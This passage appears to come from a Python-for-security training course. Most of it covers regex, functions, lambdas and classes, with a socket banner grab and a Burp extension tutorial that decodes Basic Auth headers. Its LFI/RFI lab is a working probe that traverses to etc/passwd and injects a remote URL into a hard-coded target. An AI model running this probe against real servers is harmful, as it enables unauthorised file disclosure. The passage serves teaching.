  2033.  
  2034.  
  2035.  
  2036. Code
  2037. ---------------------------Type This-----------------------------------
  2038. $ python3
  2039. f=open('file.txt', "r")
  2040. import re
  2041. str = f.read()
  2042. result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
  2043. print (result)
  2044. ----------------------------------------------------------------------
  2045.  
  2046. Output:
  2047. [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
  2048.  
  2049.  
  2050.  
  2051. You can read html file using library urllib (see below code).
  2052.  
  2053.  
  2054. Code
  2055. ---------------------------Type This-----------------------------------
  2056. $ python3
  2057. from urllib.request import urlopen
  2058. html = urlopen("http://www.google.com/")
  2059. print(html.read())
  2060. ----------------------------------------------------------------------
  2061. NOTE: You can put any website URL that you want in the urllib2.urlopen('')
  2062.  
  2063.  
  2064.  
  2065.  
  2066.  
  2067. #############
  2068. # Functions #
  2069. #############
  2070.  
  2071.  
  2072. ***********************
  2073. * What are Functions? *
  2074. ***********************
  2075.  
  2076.  
  2077. Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
  2078.  
  2079. How do you write functions in Python?
  2080.  
  2081. Python makes use of blocks.
  2082.  
  2083. A block is a area of code of written in the format of:
  2084.  
  2085. block_head:
  2086.  
  2087. 1st block line
  2088.  
  2089. 2nd block line
  2090.  
  2091. ...
  2092.  
  2093.  
  2094. Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
  2095.  
  2096. Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
  2097.  
  2098. def my_function():
  2099. print("Hello From My Function!")
  2100.  
  2101.  
  2102. Functions may also receive arguments (variables passed from the caller to the function). For example:
  2103.  
  2104. def my_function_with_args(username, greeting):
  2105. print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
  2106.  
  2107.  
  2108. Functions may return a value to the caller, using the keyword- 'return' . For example:
  2109.  
  2110. def sum_two_numbers(a, b):
  2111. return a + b
  2112.  
  2113.  
  2114. ****************************************
  2115. * How do you call functions in Python? *
  2116. ****************************************
  2117.  
  2118. Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
  2119.  
  2120. # Define our 3 functions
  2121. ---------------------------Paste This-----------------------------------
  2122. def my_function():
  2123. print("Hello From My Function!")
  2124. ----------------------------------------------------------------------
  2125.  
  2126.  
  2127. ---------------------------Paste This-----------------------------------
  2128. def my_function_with_args(username, greeting):
  2129. print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
  2130. ----------------------------------------------------------------------
  2131.  
  2132.  
  2133. ---------------------------Paste This-----------------------------------
  2134. def sum_two_numbers(a, b):
  2135. return a + b
  2136. ----------------------------------------------------------------------
  2137.  
  2138.  
  2139. Let's print(a simple greeting)
  2140.  
  2141. ---------------------------Paste This-----------------------------------
  2142. my_function()
  2143. -----------------------------------------------------------------------
  2144.  
  2145.  
  2146. Prints - "Hello, Joe, From My Function!, I wish you a great year!"
  2147. ---------------------------Paste This-----------------------------------
  2148. my_function_with_args("Joe", "a great year!")
  2149. -----------------------------------------------------------------------
  2150.  
  2151.  
  2152. After this line x will hold the value 3!
  2153. ---------------------------Paste This-----------------------------------
  2154. x = sum_two_numbers(1,2)
  2155. x
  2156. -----------------------------------------------------------------------
  2157.  
  2158.  
  2159. ************
  2160. * Exercise *
  2161. ************
  2162.  
  2163. In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
  2164.  
  2165. Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
  2166.  
  2167. Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
  2168.  
  2169. Run and see all the functions work together!
  2170.  
  2171.  
  2172.  
  2173. Modify this function to return a list of strings as defined above
  2174. ---------------------------Paste This-----------------------------------
  2175. def list_benefits():
  2176. pass
  2177. -----------------------------------------------------------------------
  2178.  
  2179.  
  2180. Modify this function to concatenate to each benefit - " is a benefit of functions!"
  2181. ---------------------------Paste This-----------------------------------
  2182. def build_sentence(benefit):
  2183. pass
  2184. -----------------------------------------------------------------------
  2185.  
  2186.  
  2187.  
  2188. ---------------------------Paste This-----------------------------------
  2189. def name_the_benefits_of_functions():
  2190. list_of_benefits = list_benefits()
  2191. for benefit in list_of_benefits:
  2192. print(build_sentence(benefit))
  2193.  
  2194. name_the_benefits_of_functions()
  2195. -----------------------------------------------------------------------
  2196.  
  2197.  
  2198. ##########################
  2199. # Python Lambda Function #
  2200. ##########################
  2201.  
  2202.  
  2203. Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
  2204.  
  2205. lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
  2206.  
  2207. Let’s take an example:
  2208.  
  2209. Consider a function multiply()
  2210.  
  2211. def multiply(x, y):
  2212. return x * y
  2213.  
  2214.  
  2215. This function is too small, so let’s convert it into a lambda function.
  2216.  
  2217. To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
  2218.  
  2219. ---------------------------Type This-----------------------------------
  2220.  
  2221. >>> r = lambda x, y: x * y
  2222. >>> r(12,3)
  2223. 36
  2224. -----------------------------------------------------------------------
  2225.  
  2226. Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
  2227.  
  2228. You don’t need to assign lambda function to a variable.
  2229.  
  2230. ---------------------------Type This-----------------------------------
  2231.  
  2232. >>> (lambda x, y: x * y)(3,4)
  2233. 12
  2234. -----------------------------------------------------------------------
  2235.  
  2236. Note that lambda function can’t contain more than one expression.
  2237.  
  2238.  
  2239.  
  2240. ##################
  2241. # Python Classes #
  2242. ##################
  2243.  
  2244.  
  2245. ****************
  2246. * Introduction *
  2247. ****************
  2248.  
  2249. Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
  2250.  
  2251. You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
  2252.  
  2253.  
  2254. ***********************
  2255. * Real World Examples *
  2256. ***********************
  2257.  
  2258.  
  2259. This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
  2260.  
  2261. Start off by thinking about a web vuln scanner.
  2262.  
  2263. What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
  2264.  
  2265. So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
  2266.  
  2267.  
  2268. ******************
  2269. * A Python Class *
  2270. ******************
  2271.  
  2272.  
  2273. Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
  2274.  
  2275. ---------------------------Paste This-----------------------------------
  2276.  
  2277. class WebVulnScanner(object):
  2278. make = 'Acunetix'
  2279. model = '10.5'
  2280. year = '2014'
  2281. version ='Consultant Edition'
  2282.  
  2283. profile = 'High Risk'
  2284.  
  2285.  
  2286. def crawling(self, speed):
  2287. print("Crawling at %s" % speed)
  2288.  
  2289.  
  2290. def scanning(self, speed):
  2291. print("Scanning at %s" % speed)
  2292. -----------------------------------------------------------------------
  2293.  
  2294.  
  2295. Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
  2296.  
  2297. From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
  2298.  
  2299.  
  2300. *****************
  2301. * What is Self? *
  2302. *****************
  2303.  
  2304. Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
  2305. ################# Do not do this lab #################
  2306. ---------------------------Type This-----------------------------------
  2307.  
  2308. print("Your %s is crawling at %s" % (self.model, speed))
  2309. -----------------------------------------------------------------------
  2310. ################# end of lab that doesn't work #################
  2311.  
  2312. It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
  2313.  
  2314.  
  2315. *****************
  2316. * Using A Class *
  2317. *****************
  2318.  
  2319.  
  2320. You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
  2321. ---------------------------Type This-----------------------------------
  2322.  
  2323. myscanner = WebVulnScanner()
  2324. -----------------------------------------------------------------------
  2325.  
  2326.  
  2327. That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
  2328.  
  2329. Get your scanner object to print out its make and model.
  2330. ---------------------------Type This-----------------------------------
  2331.  
  2332. print("%s %s" % (myscanner.make, myscanner.model))
  2333. -----------------------------------------------------------------------
  2334.  
  2335. The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
  2336. ---------------------------Type This-----------------------------------
  2337.  
  2338. myscanner.scanning('10req/sec')
  2339. -----------------------------------------------------------------------
  2340.  
  2341. What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
  2342. ---------------------------Type This-----------------------------------
  2343.  
  2344. print("The profile of my scanner settings is %s" % myscanner.profile)
  2345. myscanner.profile = "default"
  2346. print("The profile of my scanner settings is %s" % myscanner.profile)
  2347. -----------------------------------------------------------------------
  2348.  
  2349. Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
  2350. ---------------------------Type This-----------------------------------
  2351.  
  2352. mynewscanner = WebVulnScanner()
  2353. print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
  2354. -----------------------------------------------------------------------
  2355.  
  2356. That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
  2357.  
  2358.  
  2359. #########################################
  2360. # The self variable in python explained #
  2361. #########################################
  2362.  
  2363. So lets start by making a class involving the self variable.
  2364.  
  2365. A simple class :
  2366.  
  2367. So here is our class:
  2368. ---------------------------Paste This-----------------------------------
  2369.  
  2370. class port(object):
  2371. open = False
  2372. def open_port(self):
  2373. if not self.open:
  2374. print("port open")
  2375.  
  2376. -----------------------------------------------------------------------
  2377.  
  2378. First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
  2379.  
  2380. Making a Port:
  2381.  
  2382. Now that we have made a class for a Port, lets actually make a port:
  2383. ---------------------------Type This-----------------------------------
  2384.  
  2385. x = port()
  2386. -----------------------------------------------------------------------
  2387.  
  2388. Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
  2389. ---------------------------Type This-----------------------------------
  2390.  
  2391. x.open
  2392. -----------------------------------------------------------------------
  2393.  
  2394. The above command is same as:
  2395. ---------------------------Type This-----------------------------------
  2396.  
  2397. port().open
  2398. -----------------------------------------------------------------------
  2399.  
  2400. Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
  2401. ---------------------------Type This-----------------------------------
  2402.  
  2403. >>> x = port()
  2404. >>> x.open
  2405. False
  2406. >>> y = port()
  2407. >>> y.open = True
  2408. >>> y.open
  2409. True
  2410. >>> x.open
  2411. False
  2412.  
  2413. -----------------------------------------------------------------------
  2414. The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
  2415.  
  2416. ---------------------------Paste This-----------------------------------
  2417.  
  2418. class port(object):
  2419. open = False
  2420. def open_port(this):
  2421. if not this.open:
  2422. print("port open")
  2423.  
  2424. -----------------------------------------------------------------------
  2425.  
  2426.  
  2427.  
  2428.  
  2429. ################################
  2430. # Web App Testing with Python3 #
  2431. ################################
  2432.  
  2433. ---------------------------Type This-----------------------------------
  2434. nano bannergrab.py
  2435.  
  2436.  
  2437. ---------------------------Paste This----------------------------------
  2438.  
  2439. #!/usr/bin/env python3
  2440. import sys
  2441. import socket
  2442.  
  2443. # Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/
  2444.  
  2445. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2446. s.connect(("45.63.104.73", 80))
  2447. s.send(("GET / HTTP/1.1\r\n\r\n").encode())
  2448.  
  2449. #Convert response to bytes
  2450. response = b""
  2451. # or use encode()
  2452. #response = "".encode()
  2453.  
  2454. while True:
  2455. data = s.recv(4096)
  2456. response += data
  2457. if not data:
  2458. break
  2459. s.close()
  2460. print(response.decode())
  2461. ----------------------------------------------------------------------
  2462.  
  2463.  
  2464. ---------------------------Type This-----------------------------------
  2465. python3 bannergrab.py
  2466. -----------------------------------------------------------------------
  2467.  
  2468.  
  2469.  
  2470.  
  2471.  
  2472. ################# Do not do this lab #################
  2473. ---------------------------Type This-----------------------------------
  2474. nano titlegrab.py
  2475.  
  2476.  
  2477. ---------------------------Paste This----------------------------------
  2478. #!/usr/bin/env python3
  2479. import requests
  2480. from bs4 import BeautifulSoup
  2481.  
  2482. def main():
  2483. print("\nPage URL and Title")
  2484. print("-----------------------------------------------------------------")
  2485.  
  2486. urls = ['http://www.google.com', 'http://www.cnn.com', 'http://www.foxnes.com']
  2487.  
  2488. for url in urls:
  2489. r = requests.get(url)
  2490. soup = BeautifulSoup(r.text, 'html.parser')
  2491.  
  2492. print(url + " = " + soup.title.string)
  2493.  
  2494. if __name__ == "__main__":
  2495. main()
  2496. ----------------------------------------------------------------------
  2497. ################# end of lab that doesn't work #################
  2498.  
  2499.  
  2500. ---------------------------Type This-----------------------------------
  2501. nano LFI-RFI.py
  2502.  
  2503.  
  2504. ---------------------------Paste This----------------------------------
  2505.  
  2506. #!/usr/bin/env python3
  2507. print("\n### PHP LFI/RFI Detector ###")
  2508.  
  2509. import urllib.request, urllib.error, urllib.parse,re,sys
  2510.  
  2511. TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
  2512. RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
  2513. TravLimit = 12
  2514.  
  2515. print("==> Testing for LFI vulns..")
  2516. TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
  2517. for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
  2518. TARGET += "../"
  2519. try:
  2520. source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
  2521. except urllib.error.URLError as e:
  2522. print("$$$ We had an Error:",e)
  2523. sys.exit(0)
  2524. if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
  2525. print("!! ==> LFI Found:",TARGET+"etc/passwd")
  2526. break ## BREAK LOOP WHEN VULN FOUND
  2527.  
  2528. print("\n==> Testing for RFI vulns..")
  2529. TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
  2530. try:
  2531. source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
  2532. except urllib.error.URLError as e:
  2533. print("$$$ We had an Error:",e)
  2534. sys.exit(0)
  2535. if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
  2536. print("!! => RFI Found:",TARGET)
  2537.  
  2538. print("\nScan Complete\n") ## DONE
  2539. ----------------------------------------------------------------------
  2540.  
  2541.  
  2542.  
  2543.  
  2544. ---------------------------Type This-----------------------------------
  2545. python3 LFI-RFI.py
  2546. -----------------------------------------------------------------------
  2547.  
  2548.  
  2549.  
  2550. ##################################
  2551. # Burp Extension Python Tutorial #
  2552. ##################################
  2553.  
  2554. Reference link for this lab exercise:
  2555. https://laconicwolf.com/2018/04/13/burp-extension-python-tutorial/
  2556.  
  2557.  
  2558.  
  2559. - Initial setup
  2560.  
  2561. Create a directory to store your extensions – I named mine burp-extensions
  2562. Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the burp-extensions folder
  2563. Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the burp-extensions folder – This will make debugging much easier
  2564. Configure Burp to use Jython – Extender > Options > Python Environment > Select file…
  2565.  
  2566. The IBurpExtender module is required for all extensions, while the IMessageEditorTab and IMessageEditorTabFactory will be used to display messages in Burp’s message tab. The base64 module will be used to decode the basic authorization header, and the FixBurpExceptions and sys modules will be used for debugging, which I’ll cover shortly.
  2567.  
  2568. Hook into the Burp Extender API to access all of the base classes and useful methods
  2569.  
  2570. -------------------------------------------------------------------------------------------------------------------------------------------
  2571. class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
  2572. ''' Implements IBurpExtender for hook into burp and inherit base classes.
  2573. Implement IMessageEditorTabFactory to access createNewInstance.
  2574. '''
  2575. def registerExtenderCallbacks(self, callbacks):
  2576.  
  2577. # required for debugger: https://github.com/securityMB/burp-exceptions
  2578. sys.stdout = callbacks.getStdout()
  2579.  
  2580. # keep a reference to our callbacks object
  2581. self._callbacks = callbacks
  2582.  
  2583. # obtain an extension helpers object
  2584. # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
  2585. self._helpers = callbacks.getHelpers()
  2586.  
  2587. # set our extension name
  2588. callbacks.setExtensionName("Decode Basic Auth")
  2589.  
  2590. # register ourselves as a message editor tab factory
  2591. callbacks.registerMessageEditorTabFactory(self)
  2592.  
  2593. return
  2594.  
  2595. def createNewInstance(self, controller, editable):
  2596. ''' Allows us to create a tab in the http tabs. Returns
  2597. an instance of a class that implements the iMessageEditorTab class
  2598. '''
  2599. return DisplayValues(self, controller, editable)
  2600. -----------------------------------------------------------------------------------------------------------------------------------------------------
  2601.  
  2602. This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the lines self._callbacks and self._helpers assign useful methods from other classes. The callbacks.setExtensionName gives the extension a name, and the callbacks.registerMessageEditorTabFactory is required to implement a new tab. The createNewInstance method is required to create a new HTTP tab. The controller parameter is an IMessageEditorController object, which the new tab can query to retrieve details about the currently displayed message. The editable parameter is a Boolean value that indicates whether the tab is editable or read-only.
  2603.  
  2604. Now we can save the file, and load the extension into Burp, which will cause an error.
  2605.  
  2606. Load the file: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file…
  2607.  
  2608.  
  2609. Click Next, and it should produce an ugly error.
  2610.  
  2611.  
  2612. - Implement nicer looking error messages
  2613.  
  2614. To make the error messages readable, add the following to the code:
  2615.  
  2616. In the registerExtenderCallbacks method:
  2617.  
  2618. -----------------------------------------------------------------------------------------
  2619. def registerExtenderCallbacks(self, callbacks):
  2620.  
  2621. # required for debugger: https://github.com/securityMB/burp-exceptions
  2622. sys.stdout = callbacks.getStdout()
  2623. -----------------------------------------------------------------------------------------
  2624.  
  2625. and at the end of the script:
  2626.  
  2627. -----------------------------------------------------------------------------------------
  2628. def createNewInstance(self, controller, editable):
  2629. ''' Allows us to create a tab in the http tabs. Returns
  2630. an instance of a class that implements the iMessageEditorTab class
  2631. '''
  2632. return DisplayValues(self, controller, editable)
  2633.  
  2634. FixBurpExceptions()
  2635. -----------------------------------------------------------------------------------------
  2636.  
  2637. Now the errors should make more sense. To reload the extension, just click the loaded checkbox, unload the extension, and click again to load it.
  2638.  
  2639.  
  2640. We'll get another error
  2641.  
  2642. The error specifically mentions that with the createNewInstance method the global name DisplayValues is not defined. This error is of course expected since we have not yet created that class, which we will do now. At this point, your script should look like this:
  2643.  
  2644. ----------------------------------------------------------------------------------------------------------------------------------------------------
  2645.  
  2646. # Decode the value of Authorization: Basic header
  2647. # Author: Jake Miller (@LaconicWolf)
  2648.  
  2649. from burp import IBurpExtender # Required for all extensions
  2650. from burp import IMessageEditorTab # Used to create custom tabs within the Burp HTTP message editors
  2651. from burp import IMessageEditorTabFactory # Provides rendering or editing of HTTP messages, within within the created tab
  2652. import base64 # Required to decode Base64 encoded header value
  2653. from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
  2654. import sys # Used to write exceptions for exceptions_fix.py debugging
  2655.  
  2656.  
  2657. class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
  2658. ''' Implements IBurpExtender for hook into burp and inherit base classes.
  2659. Implement IMessageEditorTabFactory to access createNewInstance.
  2660. '''
  2661. def registerExtenderCallbacks(self, callbacks):
  2662.  
  2663. # required for debugger: https://github.com/securityMB/burp-exceptions
  2664. sys.stdout = callbacks.getStdout()
  2665.  
  2666. # keep a reference to our callbacks object
  2667. self._callbacks = callbacks
  2668.  
  2669. # obtain an extension helpers object
  2670. # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
  2671. self._helpers = callbacks.getHelpers()
  2672.  
  2673. # set our extension name
  2674. callbacks.setExtensionName("Decode Basic Auth")
  2675.  
  2676. # register ourselves as a message editor tab factory
  2677. callbacks.registerMessageEditorTabFactory(self)
  2678.  
  2679. return
  2680.  
  2681. def createNewInstance(self, controller, editable):
  2682. ''' Allows us to create a tab in the http tabs. Returns
  2683. an instance of a class that implements the iMessageEditorTab class
  2684. '''
  2685. return DisplayValues(self, controller, editable)
  2686.  
  2687. FixBurpExceptions()
  2688. ---------------------------------------------------------------------------------------------------------------------------------------------------------------
  2689.  
  2690. - Create a message tab and access the HTTP headers
  2691.  
  2692. The DisplayValues class uses Burp’s IMessageEditorTab to create the custom tab, and ultimately controls the logic for whether the tab gets displayed and its message. This class requires several methods to be implemented for it to work. Here is the code that will create a tab and display all of the request headers:
  2693.  
  2694. ---------------------------------------------------------------------------------------------------------------------------------------------------------------
  2695. class DisplayValues(IMessageEditorTab):
  2696. ''' Creates a message tab, and controls the logic of which portion
  2697. of the HTTP message is processed.
  2698. '''
  2699. def __init__(self, extender, controller, editable):
  2700. ''' Extender is a instance of IBurpExtender class.
  2701. Controller is a instance of the IMessageController class.
  2702. Editable is boolean value which determines if the text editor is editable.
  2703. '''
  2704. self._txtInput = extender._callbacks.createTextEditor()
  2705. self._extender = extender
  2706.  
  2707. def getUiComponent(self):
  2708. ''' Must be invoked before the editor displays the new HTTP message,
  2709. so that the custom tab can indicate whether it should be enabled for
  2710. that message.
  2711. '''
  2712. return self._txtInput.getComponent()
  2713.  
  2714. def getTabCaption(self):
  2715. ''' Returns the name of the custom tab
  2716. '''
  2717. return "Decoded Authorization Header"
  2718.  
  2719. def isEnabled(self, content, isRequest):
  2720. ''' Determines whether a tab shows up on an HTTP message
  2721. '''
  2722. if isRequest == True:
  2723. requestInfo = self._extender._helpers.analyzeRequest(content)
  2724. headers = requestInfo.getHeaders();
  2725. headers = [header for header in headers]
  2726. self._headers = '\n'.join(headers)
  2727. return isRequest and self._headers
  2728.  
  2729. def setMessage(self, content, isRequest):
  2730. ''' Shows the message in the tab if not none
  2731. '''
  2732. if (content is None):
  2733. self._txtInput.setText(None)
  2734. self._txtInput.setEditable(False)
  2735. else:
  2736. self._txtInput.setText(self._headers)
  2737. return
  2738. --------------------------------------------------------------------------------------------------------------------------------------------------------------------
  2739. If you are following along, paste this code after the BurpExtender class you just created, but be sure to make the FixBurpExceptions() the last line of the script. The comments explain the methods, so I’m only going to focus on the isEnabled and setMessage methods. For more info on this class, you can look at the IMessageEditorTab in the Burp Extender API.
  2740.  
  2741. The isEnabled method accepts message contents and the isRequest parameter (which determines whether the message is a request or a response). If the message is a request, the extender helpers extract the request headers, which for the example purposes I assign to the headers variable via a list comprehension and then assign to self._headers as a string (this needs to be a string). I then return the isRequest and self._headers. In the setMessage method, the content will be received and displayed in a new tab. If you reload this extension and make a request, you should now have a new message tab that is displaying the request headers from the requests you make.
  2742.  
  2743. Process the headers and populate the message tab
  2744.  
  2745. Now that we have access to the headers, you can go ahead and process the headers as you see fit. In this example, we will look for the Authorization: Basic header, and decode it if it is present. We need to make a few changes to the isEnabled and setMessage methods.
  2746.  
  2747. --------------------------------------------------------------------------------------------------------------------------------------
  2748. isEnabled:
  2749.  
  2750.  
  2751. def isEnabled(self, content, isRequest):
  2752. ''' Determines whether a tab shows up on an HTTP message
  2753. '''
  2754. if isRequest == True:
  2755. requestInfo = self._extender._helpers.analyzeRequest(content)
  2756. headers = requestInfo.getHeaders();
  2757. authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
  2758. if authorizationHeader:
  2759. encHeaderValue = authorizationHeader[0].split()[-1]
  2760. try:
  2761. self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
  2762. except Exception as e:
  2763. print e
  2764. self._decodedAuthorizationHeader = ""
  2765. else:
  2766. self._decodedAuthorizationHeader = ""
  2767. return isRequest and self._decodedAuthorizationHeader
  2768.  
  2769. ----------------------------------------------------------------------------------------------------------------------------------------
  2770. The changes we are making looks for the header and decodes it. Otherwise it returns an empty string.
  2771.  
  2772. ----------------------------------------------------------------------------------------------------------------------------------------
  2773. setMessage:
  2774.  
  2775.  
  2776. def setMessage(self, content, isRequest):
  2777. ''' Shows the message in the tab if not none
  2778. '''
  2779. if (content is None):
  2780. self._txtInput.setText(None)
  2781. self._txtInput.setEditable(False)
  2782. else:
  2783. self._txtInput.setText(self._decodedAuthorizationHeader)
  2784. return
  2785. -----------------------------------------------------------------------------------------------------------------------------------------
  2786.  
  2787. The only change made here is displaying the decoded authorization header (self._txtInput.setText(self._decodedAuthorizationHeader)).
  2788.  
  2789. - Test run
  2790.  
  2791. Once you reload the extension, you should have a functional extension which will display a new HTTP message tab if you visit a site requiring Basic Authentication. To test it out, header over to https://httpbin.org/basic-auth/user/passwd and enter in some fake credentials:
  2792.  
  2793. ----------------
  2794. user: test
  2795. pass: test
  2796. ----------------
  2797.  
  2798. and in Burp request you will see under decoded authorization header test:test
  2799.  
  2800. Conclusion
  2801.  
  2802. Hopefully this walkthrough was a helpful introduction to writing Burp extensions. Below is the full script. If you don’t understand how it works, I urge you to play around with it, putting in print statements in various places so you can experiment. You print statements will appear in the output subtab within the extender tab.
  2803.  
  2804. Full script:
  2805. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------
  2806.  
  2807. # Decode the value of Authorization: Basic header
  2808. # Author: Jake Miller (@LaconicWolf)
  2809.  
  2810. from burp import IBurpExtender # Required for all extensions
  2811. from burp import IMessageEditorTab # Used to create custom tabs within the Burp HTTP message editors
  2812. from burp import IMessageEditorTabFactory # Provides rendering or editing of HTTP messages, within within the created tab
  2813. import base64 # Required to decode Base64 encoded header value
  2814. from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
  2815. import sys # Used to write exceptions for exceptions_fix.py debugging
  2816.  
  2817.  
  2818. class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
  2819. ''' Implements IBurpExtender for hook into burp and inherit base classes.
  2820. Implement IMessageEditorTabFactory to access createNewInstance.
  2821. '''
  2822. def registerExtenderCallbacks(self, callbacks):
  2823.  
  2824. # required for debugger: https://github.com/securityMB/burp-exceptions
  2825. sys.stdout = callbacks.getStdout()
  2826.  
  2827. # keep a reference to our callbacks object
  2828. self._callbacks = callbacks
  2829.  
  2830. # obtain an extension helpers object
  2831. # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
  2832. self._helpers = callbacks.getHelpers()
  2833.  
  2834. # set our extension name
  2835. callbacks.setExtensionName("Decode Basic Auth")
  2836.  
  2837. # register ourselves as a message editor tab factory
  2838. callbacks.registerMessageEditorTabFactory(self)
  2839.  
  2840. return
  2841.  
  2842. def createNewInstance(self, controller, editable):
  2843. ''' Allows us to create a tab in the http tabs. Returns
  2844. an instance of a class that implements the iMessageEditorTab class
  2845. '''
  2846. return DisplayValues(self, controller, editable)
  2847.  
  2848. FixBurpExceptions()
  2849.  
  2850.  
  2851. class DisplayValues(IMessageEditorTab):
  2852. ''' Creates a message tab, and controls the logic of which portion
  2853. of the HTTP message is processed.
  2854. '''
  2855. def __init__(self, extender, controller, editable):
  2856. ''' Extender is a instance of IBurpExtender class.
  2857. Controller is a instance of the IMessageController class.
  2858. Editable is boolean value which determines if the text editor is editable.
  2859. '''
  2860. self._txtInput = extender._callbacks.createTextEditor()
  2861. self._extender = extender
  2862.  
  2863. def getUiComponent(self):
  2864. ''' Must be invoked before the editor displays the new HTTP message,
  2865. so that the custom tab can indicate whether it should be enabled for
  2866. that message.
  2867. '''
  2868. return self._txtInput.getComponent()
  2869.  
  2870. def getTabCaption(self):
  2871. ''' Returns the name of the custom tab
  2872. '''
  2873. return "Decoded Authorization Header"
  2874.  
  2875. def isEnabled(self, content, isRequest):
  2876. ''' Determines whether a tab shows up on an HTTP message
  2877. '''
  2878. if isRequest == True:
